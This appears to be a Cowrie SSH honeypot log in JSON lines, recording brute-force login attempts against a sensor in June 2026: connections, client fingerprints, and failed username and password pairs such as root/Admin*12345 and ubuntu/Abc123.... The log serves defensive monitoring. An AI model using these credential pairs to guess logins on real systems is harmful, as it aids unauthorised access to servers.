{"eventid":"cowrie.login.failed","username":"root","password":"6969","message":"login attempt [root/6969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:44.914057Z","src_ip":"160.187.180.146","session":"005afa639483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:46.125598Z","src_ip":"160.187.180.146","session":"005afa639483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57054,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47886aefa48","protocol":"ssh","message":"New connection: 51.250.105.222:57054 (159.203.135.109:22) [session: b47886aefa48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:46.183466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:46.188429Z","src_ip":"51.250.105.222","session":"b47886aefa48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:46.313151Z","src_ip":"51.250.105.222","session":"b47886aefa48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:46.689450Z","src_ip":"51.250.105.222","session":"b47886aefa48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:47.247830Z","src_ip":"91.92.40.36","session":"5d13f96aa847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43262,"dst_ip":"10.17.0.5","dst_port":22,"session":"91e53cb1d87e","protocol":"ssh","message":"New connection: 91.92.40.36:43262 (10.17.0.5:22) [session: 91e53cb1d87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:47.450491Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:47.815084Z","src_ip":"51.250.105.222","session":"b47886aefa48","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:48.350191Z","src_ip":"91.92.40.36","session":"91e53cb1d87e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:48.353589Z","src_ip":"91.92.40.36","session":"91e53cb1d87e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":37726,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76081fce375","protocol":"ssh","message":"New connection: 101.36.122.139:37726 (10.17.0.5:22) [session: e76081fce375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:50.228881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:50.233713Z","src_ip":"101.36.122.139","session":"e76081fce375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:50.451775Z","src_ip":"101.36.122.139","session":"e76081fce375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cc","password":"123456","message":"login attempt [cc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:50.969260Z","src_ip":"91.92.40.36","session":"91e53cb1d87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc123...","message":"login attempt [ubuntu/Abc123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:51.363811Z","src_ip":"101.36.122.139","session":"e76081fce375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:52.281741Z","src_ip":"91.92.40.36","session":"91e53cb1d87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:52.583818Z","src_ip":"101.36.122.139","session":"e76081fce375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12216,"dst_ip":"10.17.0.5","dst_port":22,"session":"c30a88565e6a","protocol":"ssh","message":"New connection: 91.92.40.36:12216 (10.17.0.5:22) [session: c30a88565e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:56.953699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:57.017654Z","src_ip":"91.92.40.36","session":"c30a88565e6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:57.132100Z","src_ip":"91.92.40.36","session":"c30a88565e6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:57.939519Z","src_ip":"91.92.40.36","session":"c30a88565e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:59.046947Z","src_ip":"91.92.40.36","session":"c30a88565e6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12276,"dst_ip":"10.17.0.5","dst_port":22,"session":"baec53974ebd","protocol":"ssh","message":"New connection: 91.92.40.36:12276 (10.17.0.5:22) [session: baec53974ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:06.412114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:06.844034Z","src_ip":"91.92.40.36","session":"baec53974ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:07.669086Z","src_ip":"91.92.40.36","session":"baec53974ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15536,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5770d3744e","protocol":"ssh","message":"New connection: 91.92.40.36:15536 (10.17.0.5:22) [session: bb5770d3744e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:12.247725Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:13.209812Z","src_ip":"91.92.40.36","session":"baec53974ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":41920,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a7181bd9d9","protocol":"ssh","message":"New connection: 97.74.87.152:41920 (159.203.135.109:22) [session: a3a7181bd9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:14.049458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:14.054940Z","src_ip":"97.74.87.152","session":"a3a7181bd9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:14.284193Z","src_ip":"97.74.87.152","session":"a3a7181bd9d9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:14.547997Z","src_ip":"91.92.40.36","session":"bb5770d3744e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:14.551499Z","src_ip":"91.92.40.36","session":"bb5770d3744e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin*12345","message":"login attempt [root/Admin*12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:15.240509Z","src_ip":"97.74.87.152","session":"a3a7181bd9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:15.468017Z","src_ip":"91.92.40.36","session":"baec53974ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:16.474568Z","src_ip":"97.74.87.152","session":"a3a7181bd9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64394,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf81923eb29","protocol":"ssh","message":"New connection: 91.92.40.36:64394 (10.17.0.5:22) [session: 3bf81923eb29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:17.991398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:19.098233Z","src_ip":"91.92.40.36","session":"3bf81923eb29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:19.101456Z","src_ip":"91.92.40.36","session":"3bf81923eb29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111","message":"login attempt [root/1111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:23.607646Z","src_ip":"91.92.40.36","session":"3bf81923eb29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasd","message":"login attempt [root/123QWEasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:24.391545Z","src_ip":"91.92.40.36","session":"bb5770d3744e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:25.286140Z","src_ip":"91.92.40.36","session":"3bf81923eb29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47270,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ee2b887bd5","protocol":"ssh","message":"New connection: 91.92.40.36:47270 (10.17.0.5:22) [session: 28ee2b887bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:26.691182Z"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:26.855087Z","src_ip":"91.92.40.36","session":"bb5770d3744e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:27.234918Z","src_ip":"91.92.40.36","session":"28ee2b887bd5","protocol":"ssh"}
